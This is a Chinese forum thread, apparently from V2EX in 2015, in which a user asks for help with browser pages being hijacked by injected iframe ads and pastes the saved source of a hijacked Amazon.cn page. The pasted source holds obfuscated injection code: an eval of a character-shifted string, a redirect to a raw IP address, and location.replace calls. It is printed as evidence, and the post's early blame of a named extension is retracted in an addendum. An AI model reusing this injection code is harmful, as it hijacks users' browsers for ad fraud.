浏览器里网站被 iframe 劫持，并嵌入广告，求解决方案！

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这是一个创建于 3402 天前的主题，其中的信息可能已经有所发展或是发生改变。

最近连续发生两次被浏览器（插件？）劫持并嵌入广告的事情，因为我最近往返厦门与上海，中途更换过操作系统，所以应该没有运营商劫持、系统应用劫持的可能性。

规律：
每次出现被劫持都是在安装 v2ex plus chrome扩展后 https://www.v2ex.com/t/198074
在厦门，那天是中午安装的，第二天出现广告。删除后不再出现。
在上海，昨天早上安装的，晚上就出现广告。
我怀疑过这个扩展，但是在源代码里找不到和iframe有关的字样……
（防作者毁灭证据我已经备份了一份）

昨晚出现过一次，是在天猫，今天又出现了一次，在亚马逊。
浏览器：QQ浏览器 9.01 Beta 2617 （Chrome 44）

我刚刚把亚马逊被劫持的网页源码保存下来了：
html <html xmlns="http://www.w3.org/1999/xhtml" class="hb-loaded"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><style> @charset "utf-8";body, div, span, p, iframe,a{margin:0;padding:0;outline:none}.ad-dialog{position:absolute;z-index:998;padding:0px;font-size:12px;overflow:hidden;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;box-shadow:1px 2px 2px #999;-webkit-box-shadow:1px 2px 2px #999;-moz-box-shadow:1px 2px 2px #999}.ad-dialog .title{width:100%;height:25px;line-height:25px;text-align:left;text-indent:8px;font-size:12px;font-weight:bold;color:#FFF;background:#CCC;-webkit-border-top-left-radius:4px;-moz-border-top-left-radius:4px;border-top-left-radius:4px;-webkit-border-top-right-radius:4px;-moz-border-top-right-radius:4px;border-top-right-radius:4px}.ad-dialog .icon{position:absolute;top:0;right:0;margin-right:4px}.ad-dialog .icon a{width:20px;height:20px;margin:2px 0 0 2px;text-align:center;line-height:20px;float:left;display:inline-block;text-decoration:none;color:#FFF;font-family:Verdana, Geneva, sans-serif;font-weight:bold;font-size:15px;overflow:hidden}.ad-dialog .icon a:hover{color:#F00}.ad-dialog .icon a:hover span{border-color:#F00}.ad-dialog .icon a span{display:inline-block;margin:0px;padding:0;overflow:hidden;zoom:1}.ad-dialog .icon .icon-min span{height:8px;width:12px;margin:2px 3px;border-bottom:2px solid #FFF}.ad-dialog .icon .icon-max span{height:8px;width:8px;margin:4px 4px;border:2px solid #FFF}.ad-dialog .icon .icon-max span:hover{border:2px solid #F00}.ad-dialog .icon .icon-min span:hover{border-bottom:2px solid #F00}.ad-dialog .content{-webkit-border-bottom-left-radius:4px;-moz-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;border-bottom-right-radius:4px}.style0{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;box-shadow:none}.style0 .title{background:#CCC;color:#333}.style0 .content{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.style0 .icon a{color:#333}.style0 .icon .icon-min span{border-color:#333}.style0 .icon .icon-max span{border-color:#333}.style1{border:1px solid #000}.style1 .title{background:#444}.style2{border:1px solid #0B4453}.style2 .title{background:#137893}.style3{border:1px solid #E91852}.style3 .title{background:#F27B9B}.style4{border:1px solid #BEA323}.style4 .title{background:#E6D479}.style5{border:1px solid #27AD85}.style5 .title{background:#58D9B3}.style6{border:1px solid #3E3564}.style6 .title{background:#5F529A}.style7{border:1px solid #DD6921}.style7 .title{background:#F9AA75}.style8{border:1px solid #285340}.style8 .title{background:#3F7F63} </style><script>url = {a:"http://58.215.179.159/svr/sflow/fcbf0818",m:"http://www.amazon.cn/",s:"undefined"};var _iaui=true;var _xus="Y1MGY1mlYZzOdBFpzkogYPsLM1ogYm==M3gO";var _xai="264788";</script><script>eval((function(s){var str='';for(var i=0,len=s.length;i<len;i++){str+=String.fromCharCode(s.charCodeAt(i)-3);} return str})("ydu#dgsdudp#@#~*lg*=*378*/*lvwlwoh*=idovh/*wlwoh*=**/*srvlwlrq*=*uljkw#grzq*/*ghod|*=~*w|sh*=**/*wlph*=3/*ordgiluvw*=*grf*/*rshqw|sh*=**/*dgvl}h*=~*z*=*733*/*k*=633/*vnlqfroru*=*vw|oh3*/*plql*=~*deoh*=idovh/*vl}h*=~*z*=3/*k*=3/*srvlwlrq*=**>"));function goURLa(){var desturl=url.a;if(desturl.slice(desturl.length-1)=="/")desturl=desturl.slice(0,desturl.length-1);return"<html></head><script>document.location.replace(\""+desturl+"\");<\/script><\/html>"};function goURLm(){var desturl=url.m;if(desturl.slice(desturl.length-1)=="/")desturl=desturl.slice(0,desturl.length-1);return"<html></head><script>document.location.replace(\""+desturl+"\");<\/script><\/html>"};Object.extend=function(t_,s_){for(var i in s_){if(typeof s_[i]!=="object"){t_[i]=s_[i]}else{t_[i]=t_[i]||{};Object.extend(t_[i],s_[i])}}return t_};function $(o){var d=document;function c(str){var s=d.getElementsByTagName('*'),c=[];for(var x = 0; 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第 1 条附言 · 2015-08-02 17:09:28 +08:00

在这里我对 v2ex plus 的作者致歉，我的确没有经过严格核查就把 v2ex plus 写在帖子里造成对该插件的不良影响。
经过我整个下午的核查，发现相同的情况还出现在 IE 下。这个劫持触发条件至今还没有摸透，每次浏览器设置变动，劫持现象就会消失一阵子。
如果有新发现，我将会进行严谨的测试后再发表出来和大家探讨，谢谢大家的关心。

劫持

浏览器

嵌入

14 条回复 • 2015-08-03 00:10:59 +08:00